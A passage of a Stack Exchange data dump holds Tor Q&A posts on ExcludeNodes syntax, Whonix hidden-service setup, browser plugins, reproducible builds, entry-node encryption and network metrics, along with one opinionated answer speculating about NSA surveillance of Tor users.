  <row Id="615" PostTypeId="1" CreationDate="2013-10-20T14:56:03.587" Score="5" ViewCount="1281" Body="&lt;p&gt;When I want to block tor nodes, can I mix country name and nickname and fingerprint or must I only use one of them?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes {de},{dk},{se},{fi},PiratenParteiNRW,358F99684C6AF99282C6909247CACF5B66DA947D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;additional info after answer:&#xA;thank you for answer, just to copy here if somebody needs it: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A list of identity fingerprints, nicknames, country codes and address patterns of nodes to avoid when building a circuit. (Example: &lt;code&gt;ExcludeNodes SlowServer, ABCD1234CDEF5678ABCD1234CDEF5678ABCD1234, {cc}, 255.254.0.0/8&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, this option is treated as a preference that Tor is allowed to override in order to keep working. For example, if you try to connect to a hidden service, but you have excluded all of the hidden service’s introduction points, Tor will connect to one of them anyway. If you do not want this behavior, set the &lt;code&gt;StrictNodes&lt;/code&gt; option (documented below).....&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="88" LastEditDate="2019-08-08T15:43:26.723" LastActivityDate="2019-08-08T15:43:26.723" Title="Can I mix country name and nickname in ExcludeNodes line?" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="617" PostTypeId="2" ParentId="351" CreationDate="2013-10-20T17:59:45.640" Score="6" Body="&lt;p&gt;&quot;Does Tor still present a threat to the NSA?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that Tor was never threat to the NSA. There are several layers of 'protection' about Tor, thus several ways to attack users. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The first layer is: software code. NSA software developers can misuse open code to find holes and bugs in the code. We can surely make the presumption that the NSA doesn't have any problems to employ the best programmers to do the task. Inside of this first layer are also developers of Tor software. They don't hide; they educate the FBI, and they don't hide that they are financed by government entities, but say that they are independent in their work, no matter who finances them. I would add (layer 2): if Microsoft reported bugs to the NSA before they made patch/update, why do you think Tor developers didn't do the same? Remember the story about the Freedom Hosting server, and the fast Tor browser bundle update after the system administrator was arrested. FBI hacked the Firefox browser (or they got bug information from Tor developers) and snitched all users of the Freedom Hosting server. It means even users who just use anonymous tormail (that's not against the law).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Beside software, Firefox bugs are layer number 2.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The third layer is: servers, so-called Tor nodes. Even if software and Firefox are perfect, Tor nodes can spy on users. Besides intruding spies in such organizations who operate Tor nodes, stronger servers gather more traffic and it helps the FBI analyze traffic. Make a website to sell drugs/guns and collect thousands of users, and you will get a lot of traffic. So they will catch you fast.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;4) The fourth layer is the PC. Microsoft, updates, antivirus software, all of them gather information from your personal computer and send it to different servers/companies. There are antivirus software that gather your links in the browser and send it for analysis to the producing company. Stupid example: When I want to visit movie servers, many sites are blocked as dangerous by &lt;a href=&quot;http://en.wikipedia.org/wiki/Sophos&quot; rel=&quot;nofollow&quot;&gt;Sophos&lt;/a&gt; antivirus software, so, corporations collaborate between themselves, and they can get information that I visit this or that website, together with my Mac and &lt;a href=&quot;http://en.wikipedia.org/wiki/IP_address&quot; rel=&quot;nofollow&quot;&gt;IP address&lt;/a&gt;. They can do the same when I use Tor software. So, if they want, they can hunt people on the basis of websites we visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides this, your PC can even have an installed keylogger or some more complicated spying software produced for the NSA, and the NSA makes a deal with antivirus companies to avoid detection by antivirus software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not a professional, but I think users can protect themselves from developers and NSA with installing more and more private bridges and connect to them directly, to avoid public bridges and Tor nodes, But many people don't have money for that and they must rely on developers of the Tor network (who publicly cooperate with the US government).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, many Tor users are exposed, if they use a website or they administer a website which is hunted by the NSA. And, yes, they can be arrested if the NSA really wants to arrest them. It depends on how much you come to their attention, and how important it is for them to hunt you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think people employed in data centers will refuse cooperation with the NSA? NSA can spy on every Tor node, with physical access to the server operating as a Tor node. When they attach a device for forensics to the server, or they install what they want in the server, they can spy without asking anything of the system administrator or owner of the server. And who knows how many nodes are even inside of U.S. Servers are the cheapest there, and many people will buy a server in the U.S. and many use &lt;a href=&quot;http://en.wikipedia.org/wiki/Amazon_S3&quot; rel=&quot;nofollow&quot;&gt;Amazon S3&lt;/a&gt; instances/servers to make Tor relays (Amazon, PayPal, and Visa/Mastercard. All of them are the right hand of NSA; just remember who sabotaged &lt;a href=&quot;http://en.wikipedia.org/wiki/WikiLeaks&quot; rel=&quot;nofollow&quot;&gt;WikiLeaks&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="100" LastEditDate="2014-07-02T01:39:28.163" LastActivityDate="2014-07-02T01:39:28.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="618" PostTypeId="1" CreationDate="2013-10-20T19:12:51.113" Score="4" ViewCount="2153" Body="&lt;p&gt;I am newbie, first time I try whonix, I didn't find in workstation hidden_service in torrc file and gateway station show me /etc/tor/torrc but there is nothing, I added two lines:&#xA;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 192.168.0.11:80&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, I don't know how to install Tor hidden service, I followed &lt;a href=&quot;https://www.whonix.org/wiki/Hidden_Services&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Hidden_Services&lt;/a&gt;&#xA;I installed also lighttpd in workstation but it failed to start, maybe because port 80 is already occupied.&#xA;in gateway, cd var/lib/tor says permission denied.&#xA;maybe there is hidden_service folder? I see, owner is debian-tor and I am user in whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what should I do to install testing website as Tor hidden service? I just want to try it and without success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did chmod and added index.html beside private_key and hostname but when I try to use Tor browser bundle to connect, no success.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="923" LastEditDate="2014-06-28T14:51:31.030" LastActivityDate="2014-06-29T04:01:33.727" Title="whonix and location of hidden_service?" Tags="|onion-services|whonix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="619" PostTypeId="2" ParentId="409" CreationDate="2013-10-20T19:42:58.537" Score="1" Body="&lt;p&gt;as I know, tordir automatically check if published links/websites are alive or dead. but how it checks, I don't know, you can ask admin of tordir website.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-10-20T19:42:58.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="620" PostTypeId="1" CreationDate="2013-10-14T16:35:17.970" Score="9" ViewCount="7935" Body="&lt;p&gt;I know that you're not &quot;supposed&quot; to use plugins in Tor - Flash and Java are two of the stupidest things you could use while trying not to be discovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's say you'd like to view a video file - is there any way at all to install a plugin in the Tor Browser Bundle for Linux? I've already installed &lt;code&gt;npapi-vlc-git&lt;/code&gt;, and it works for Chromium, but I can't figure out where I need to symlink/copy &lt;code&gt;/usr/lib/mozilla/plugins/libvlcplugin.so&lt;/code&gt; to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If something was changed in the browser at compile-time that disables plugins, what must I do to re-enable them? I just want the one plugin, but I'd like to keep all the other security tweaks present in the Tor browser (otherwise, I'd just replace it with the vanilla Firefox ESR.)&lt;/p&gt;&#xA;" OwnerUserId="425" OwnerDisplayName="JamesTheAwesomeDude" LastEditorUserId="425" LastEditDate="2013-10-28T18:24:07.827" LastActivityDate="2016-11-08T13:02:32.833" Title="Is it possible to install the VLC plugin in the Tor browser?" Tags="|tor-browser-bundle|firefox|plugin|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="621" PostTypeId="2" ParentId="615" CreationDate="2013-10-20T21:05:27.213" Score="8" Body="&lt;p&gt;Yes, you can mix them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot;&gt;manpage&lt;/a&gt; even has that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     ExcludeNodes SlowServer, ABCD1234CDEF5678ABCD1234CDEF5678ABCD1234, {cc}, 255.254.0.0/8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-20T21:05:27.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="622" PostTypeId="2" ParentId="618" CreationDate="2013-10-20T21:57:11.807" Score="5" Body="&lt;p&gt;In the gateway VM, your hidden service specification goes in &lt;code&gt;/etc/tor/torrc&lt;/code&gt;. By default, it's largely empty, and the default configuration has been moved to &lt;code&gt;/usr/share/tor/tor-service-defaults-torrc&lt;/code&gt;. In &lt;code&gt;/etc/tor/torrc&lt;/code&gt;, add something like this for a webserver:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/my_hidden_website/&#xA;HiddenServicePort 80 192.168.0.11:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to restart Tor to generate the hidden service key and hostname:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user@host:~$ sudo service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then get the hostname:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user@host:~$ sudo cat /var/lib/tor/my_hidden_website/hostname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, working in the workstation VM, install lighttpd. Once installed, it starts at bootup. Your website root directory is &lt;code&gt;/var/www/&lt;/code&gt; on the workstation VM. It is NOT &lt;code&gt;/var/lib/tor/my_hidden_website/&lt;/code&gt; on the gateway VM. That would be a very bad thing, especially if you somehow made it work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using another machine running Tor Browser Bundle, browse your hidden-service hostname: &lt;code&gt;http://mynewthshostname.onion&lt;/code&gt;. You should see the lighttpd's default page. Once you have that working, you can replace the lighttpd default with your website.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-06-29T04:01:33.727" LastActivityDate="2014-06-29T04:01:33.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="624" PostTypeId="1" CreationDate="2013-10-21T16:40:07.840" Score="2" ViewCount="65" Body="&lt;p&gt;I'm using whonix for a good deal of activity but I'm very new to it and Linux. will using my computer for personal information while not running whonix or tor compromise my anonymity?  What about at the same time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible if I use my computer for personal information on the internet without Tor or Whonix enabled for that personal info going over the clear internet to be linked to my activity on Tor? If I put my name all over this computer and do various things (email, facebook, etc.) without Tor enabled, will that make it easier to identify my computer/me while Tor or Whonix are enabled? I'm not using these personal sites while Tor is running because that seems like it would defeat the purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be explained to me, I have been reading all the FAQs I can find about Tor anonymity and I still don't have an understanding of how it interacts or is affected by clear activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ISP can see my activity when I'm not using Tor/Whonix, then it can also see that sometimes I am using Tor, correct? So is this link of my personal life to this computer a bad idea for my Tor safety? &lt;/p&gt;&#xA;" OwnerUserId="428" LastEditorUserId="80" LastEditDate="2013-10-22T03:36:54.407" LastActivityDate="2013-10-22T22:27:36.503" Title="Can clear activity be linked to hidden activity?" Tags="|anonymity|security|whonix|" AnswerCount="0" CommentCount="6" ClosedDate="2013-10-23T02:28:42.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="625" PostTypeId="1" CreationDate="2013-10-21T18:03:56.697" Score="4" ViewCount="319" Body="&lt;p&gt;When i compile source code to get a working safe Tor package, what i produced have different hash from official Tor binary in download section... is this a compiler problem or that's normal compilers add random data and we can't check Tor official binaries are safe or backdoored? this problem is only for C code compilers or same problem exists for java (orbot) and there is no way to verify compiled binaries by source code?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Why is it common to get a different binary from compiling the same source code? Can somebody please explain how reproducible builds are achieved and why the same isn't possible with Java?&lt;/p&gt;&#xA;" OwnerUserId="430" LastEditorUserId="923" LastEditDate="2014-03-04T08:22:58.890" LastActivityDate="2014-03-04T08:22:58.890" Title="Compiled Tor binary doesn't match with Tor official downloaded package" Tags="|source-code|back-door|binaries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="626" PostTypeId="2" ParentId="625" CreationDate="2013-10-21T18:18:27.173" Score="3" Body="&lt;p&gt;This is normal for the Tor 0.2.3 series.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however you are trying to compile 0.2.4 or later, then the desired result is that it would be identical, and thus produce the same hash. As this feature is still under development however it's possible it's a  (known or unknown) bug. To attempt this, follow the README in the build scripts. This would handle the case of the official binaries being backdoored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second part of your question, about whether Java implementations have the same unverifiable build problem, the same problem exists. Various Java compilers will compile the source into Java Virtual Machine code differently with different optimisations. As far as I'm aware there is no effort to get Reproducible Builds for Orbot. The situation is (slightly) different however here as then you are also relying on the JVM program that interprets the compiled bytecode into appropriate instructions for your machine, which adds another layer of verification needed, depending on how concerned you are about the backdooring of software.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2013-10-21T23:52:05.687" LastActivityDate="2013-10-21T23:52:05.687" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="627" PostTypeId="1" CreationDate="2013-10-21T20:05:09.810" Score="5" ViewCount="405" Body="&lt;p&gt;Does Tor encrypt a client's connection to its entry node? How does it do this?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="923" LastEditDate="2014-03-03T01:31:48.363" LastActivityDate="2014-07-05T11:21:13.320" Title="Does Tor encrypt a client's connection to its entry node?" Tags="|guard-node|client|encryption|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="628" PostTypeId="1" AcceptedAnswerId="1163" CreationDate="2013-10-21T21:25:12.783" Score="3" ViewCount="537" Body="&lt;p&gt;I read about the Silk Road incident and wondered if it's possible for Tor relays to physically host services and distribute the load of executing the service across the network, while the service and the operator's identity remain anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, the service is decentralized and does not lead to the person's real identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to create a PoC, but I'm not completely sure if it's theoretically secure enough to accomplish this, so I'd like to run it by this forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hosting &quot;web&quot; hidden services with static files (such as html, css, js, etc) would be the easy part; it's exactly like p2p file sharing, but  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how could it be possible for Tor relays to execute the application code?&lt;br&gt;&#xA;how can the web application hold stateful information for users?&lt;br&gt;&#xA;can data be tampered by one of the many clients hosting the web service?&lt;br&gt;&#xA;is it possible for Tor to support the load balancing?&lt;br&gt;&#xA;how can the website be updated by the developer?&lt;br&gt;&#xA;is there any other problem that I'm not aware of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindest Regards&lt;/p&gt;&#xA;" OwnerUserId="431" LastEditorUserId="431" LastEditDate="2013-12-29T06:31:38.493" LastActivityDate="2013-12-29T06:36:49.543" Title="Theoretically Speaking: Is it possible and safe to build a Stateful, Serverless Web Application?" Tags="|onion-services|silk-road|" AnswerCount="4" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="629" PostTypeId="2" ParentId="627" CreationDate="2013-10-22T03:43:03.117" Score="-2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does Tor encrypt a client's connection to its entry node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it does. You may look at Pabouk comment for a degree of an explanation of this subject.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="923" LastEditDate="2014-07-05T11:21:13.320" LastActivityDate="2014-07-05T11:21:13.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="630" PostTypeId="2" ParentId="618" CreationDate="2013-10-22T03:54:30.577" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I didn't find in workstation hidden_service in torrc file and gateway station show me /etc/tor/torrc but there is nothing&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There little non-nothingness in &lt;a href=&quot;https://github.com/Whonix/Whonix/blob/master/whonix_gateway/etc/tor/torrc.whonix&quot; rel=&quot;nofollow&quot;&gt;/etc/tor/torrc&lt;/a&gt; worth reading. It says &lt;code&gt;Please see /etc/tor/torrc.examples for help, options, comments etc.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a look at &lt;a href=&quot;https://github.com/Whonix/Whonix/blob/master/whonix_gateway/etc/tor/torrc.examples&quot; rel=&quot;nofollow&quot;&gt;/etc/tor/torrc.examples&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cd /var/lib/tor says permission denied&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You need to be &lt;code&gt;root&lt;/code&gt; (or &lt;code&gt;debian-tor&lt;/code&gt;) to get into that folder.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-10-22T03:54:30.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="632" PostTypeId="2" ParentId="628" CreationDate="2013-10-22T06:47:48.390" Score="1" Body="&lt;p&gt;This is the way to go, I think. Data and servers hidden in meatspace are clearly dead roads. Tor hidden services are only hidden until adversaries find the servers while they're running ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, porting standard Internet systems to networks of hidden services is painful. Better would be building normal networks among hidden services, using aggregated links that are fast and fault-tolerant. Data would be stored in fragmented and redundantly-distributed filesystems such as Tahoe-LAFS. Servers would be light and mobile VMs, able to migrate (or die and be reborn) across the network to handle load, and to respond to threats. Also, servers would be generic, pulling their configuration and data from the distributed filesystems, and updating state in real time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given fragmentation and redundant distribution, individual hidden services would hold only encrypted pieces of various components. That provides strong plausible deniability, much like running a Tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the first piece of this is on-topic for tor.se, and it's arguable that it's largely so as a threat like BitTorrent ;) You can find me at &lt;code&gt;0x17C2E43E&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-22T06:47:48.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="633" PostTypeId="2" ParentId="620" CreationDate="2013-10-22T07:16:31.343" Score="4" Body="&lt;p&gt;Installing any sort of plugins on TBB is a &lt;strong&gt;bad idea&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to watch a video (if HTML5 player not available) is to download the video, disconnect from Internet and watch it offline. Otherwise it may try to make a connection over internet and ruin your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2013-10-24T05:07:27.047" LastActivityDate="2013-10-24T05:07:27.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="634" PostTypeId="2" ParentId="627" CreationDate="2013-10-22T08:56:19.867" Score="3" Body="&lt;p&gt;Yes, Tor clients encrypt connections to entry nodes (relays). Indeed, they successively encrypt to all relays in the circuits that they specify. The required public keys for all relays are available from Tor's directory servers.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-22T08:56:19.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="635" PostTypeId="1" AcceptedAnswerId="637" CreationDate="2013-10-22T10:20:01.600" Score="4" ViewCount="947" Body="&lt;p&gt;If I start the Windows Tor browser bundle using &lt;code&gt;Start Tor Browser.exe&lt;/code&gt; and subsequently close the browser, Vidalia shuts down Tor and then exits. In Linux, if I start the Tor browser bundle using the &lt;code&gt;start-Tor-browser&lt;/code&gt; script, and then shutdown the browser, Tor and Vidalia stay live.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why do the two bundles behave differently? That is, what design considerations went into making the behaviour different in the two bundles?&lt;/li&gt;&#xA;&lt;li&gt;Are there any security implications of the different behaviours that would lead a user to prefer one bundle over the other?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="435" LastEditorUserId="923" LastEditDate="2014-07-02T01:32:21.457" LastActivityDate="2018-09-11T19:03:41.383" Title="Tor browser behaviour in Windows versus Linux" Tags="|tor-browser-bundle|windows|linux|vidalia|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="636" PostTypeId="1" CreationDate="2013-10-22T10:25:15.597" Score="11" ViewCount="1855" Body="&lt;p&gt;Being a LiveCD with no persistent storage by default, Tails currently does not use persistent Tor entry guards. In a recent &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot;&gt;post on the Tor blog&lt;/a&gt;, arma discussed the possibility of &quot;improving Tor's anonymity&quot; by increasing entry-guard persistence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it dangerous to use Tails without persistent entry guards? From &lt;a href=&quot;https://tails.boum.org/ikiwiki.cgi?P=guard&quot;&gt;discussion on the Tails wiki&lt;/a&gt;, I gather that there's some tension between making entry guards persistent, and the ideal of complete amnesia. Is there unavoidable tension between being incognito and amnesiac?&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="71" LastEditDate="2013-12-13T15:07:46.410" LastActivityDate="2013-12-13T15:07:46.410" Title="Is it dangerous to use Tails without persistent entry guards?" Tags="|anonymity|guard|tails|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="637" PostTypeId="2" ParentId="635" CreationDate="2013-10-22T10:26:15.150" Score="1" Body="&lt;p&gt;This is not happening intentionally, you may name it a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, Tor project is going to dump Vidalia with TBB 3.x and what you mentioned is just one of the reasons. So there's no point to put extra effort to fix this. Plus, Vidalia doesn't have a maintainer (and most likely will never have one till the day it dies).&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-10-22T10:26:15.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="638" PostTypeId="1" CreationDate="2013-10-22T10:43:08.077" Score="1" ViewCount="286" Body="&lt;p&gt;I am working on tools for change identity of tor every 3 minutes.&#xA;But it require a cookie path of tor.&#xA;I follow this one &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/4881&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/4881&lt;/a&gt; but didn't find its yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank for support.&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2013-10-22T20:32:13.573" Title="Where is cookiepath of tor?" Tags="|relays|configuration|circuit|" AnswerCount="1" CommentCount="1" ClosedDate="2013-12-12T14:30:12.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="639" PostTypeId="1" CreationDate="2013-10-22T10:57:55.643" Score="8" ViewCount="1032" Body="&lt;p&gt;I use Tor on Android because it's easily configurable for Duck Duck Go and Twitter with Orbot. It's possible to use it with a stable Firefox version too but I can't because I use the beta version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other side, as it is a vanilla (I mean &lt;em&gt;non-rooted&lt;/em&gt;) Android from a Google device, does it make sense to use Tor? Anyway I will send a lot of &lt;em&gt;logged in&lt;/em&gt; data to Google or other organizations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it useful? Isn't it dangerous for others Tor users if some data transit through my phone ?&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2013-11-03T22:28:58.260" LastActivityDate="2013-11-09T14:46:36.700" Title="Does it make sense to use Tor on a vanilla Android phone?" Tags="|deanonymization|orbot|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="640" PostTypeId="2" ParentId="351" CreationDate="2013-10-22T15:47:44.787" Score="2" Body="&lt;p&gt;To add to what's been said, particularly parts of bobrock's answer, remember that anyone can run a Tor exit node. After traffic has been decrypted on the exit node (as the last stage of onion routing), the data to be forwarded can be seen in the clear (assuming there's no more encryption besides Tor). The NSA can set up a large number of exit nodes, and catch a lot of people, but never all of them, because it is impossible for anyone to control the entire Tor network. I've been wondering lately how good a solution it is to simply use a secure VPN from a &lt;a href=&quot;http://torrentfreak.com/which-vpn-providers-really-take-anonymity-seriously-111007/&quot; rel=&quot;nofollow&quot;&gt;provider you know can never give up logs to anyone.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as commandeering software to spy on end users, I think open source is a reasonable deterrent to that. The NSA may be able to hire great programmers to review code and find 0-day exploits, but that happens all the time anyway among hackers. Most private information that would be sent by anti-virus software and windows could be blocked by something like PeerGuardian, and if you wanted to invest the time and effort, you could try running Snort and developing your own rules for it.&lt;/p&gt;&#xA;" OwnerUserId="438" LastActivityDate="2013-10-22T15:47:44.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="641" PostTypeId="2" ParentId="639" CreationDate="2013-10-22T17:17:50.743" Score="6" Body="&lt;p&gt;There are a couple of circumstances in which it could be useful that spring to mind.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You wish to prevent your Cellphone Network (AT&amp;amp;T, Verizon, Vodafone  etc) from observing any data sent that isn't normally protected - think your web browsing for example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Android is quite configurable as to what data is sent to Google. You've stated you will be sending a lot of data to Google - but you can still configure what data that is. For example, you could disable the location functionality (GPS etc), so that while your cellphone provider will know your location (due to cell-tower triangulation), Google won't.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's about risks. If you think Google knowing your data is more acceptable than your cellphone network, then Tor could still be useful. Is Google more or less likely to surrender user data than your cell network? The answer will vary depending on your country and threat model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly, there is a high chance in your case that someone watching the Exit Node &amp;lt;-&gt; Google connection will be able to find out what your google account email is. But if your threat is from your government, who have powers to compel cell networks or ISPs in your country, then it may be that just using Tor to tunnel out of the country is enough protection for your situation.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-22T17:17:50.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="642" PostTypeId="2" ParentId="613" CreationDate="2013-10-22T18:09:24.440" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I find out how many relays the network has and possibly where they are located?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The amount of &lt;a href=&quot;https://metrics.torproject.org/network.html#networksize&quot;&gt;relays and bridges over time&lt;/a&gt; is measured. It's also possible to see the &lt;a href=&quot;https://metrics.torproject.org/network.html#relaycountries&quot;&gt;country-specific amount&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I learn about roles the relays play in the network? For example, how many exits/guards/middle (or combination) are there?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://metrics.torproject.org/network.html#relayflags&quot;&gt;amount of assigned flags&lt;/a&gt; (e.g., &quot;Running&quot;, &quot;Guard&quot;, &quot;Fast&quot;) is also measured.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I learn about individual relays?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are currently two services: &lt;a href=&quot;https://atlas.torproject.org/&quot;&gt;Atlas&lt;/a&gt; and &lt;a href=&quot;http://globe.rndm.de/&quot;&gt;Globe&lt;/a&gt;. Both are JavaScript-based front ends for the raw data coming from &lt;a href=&quot;https://onionoo.torproject.org/&quot;&gt;Onionoo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I learn about how likely it is to use a given exit/guard?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Both Atlas and Globe display diagrams which show the guard and exit probability of a given relay over time.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whenever you can keep track of users, can I find out how many people use Tor/used Tor? If possible even with where they are coming from and if they used vanilla Tor or a Pluggable Transport.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are a number of approximations on the &lt;a href=&quot;https://metrics.torproject.org/users.html&quot;&gt;metrics portal&lt;/a&gt;. It is possible to see the estimated &lt;a href=&quot;https://metrics.torproject.org/users.html#direct-users&quot;&gt;total users over 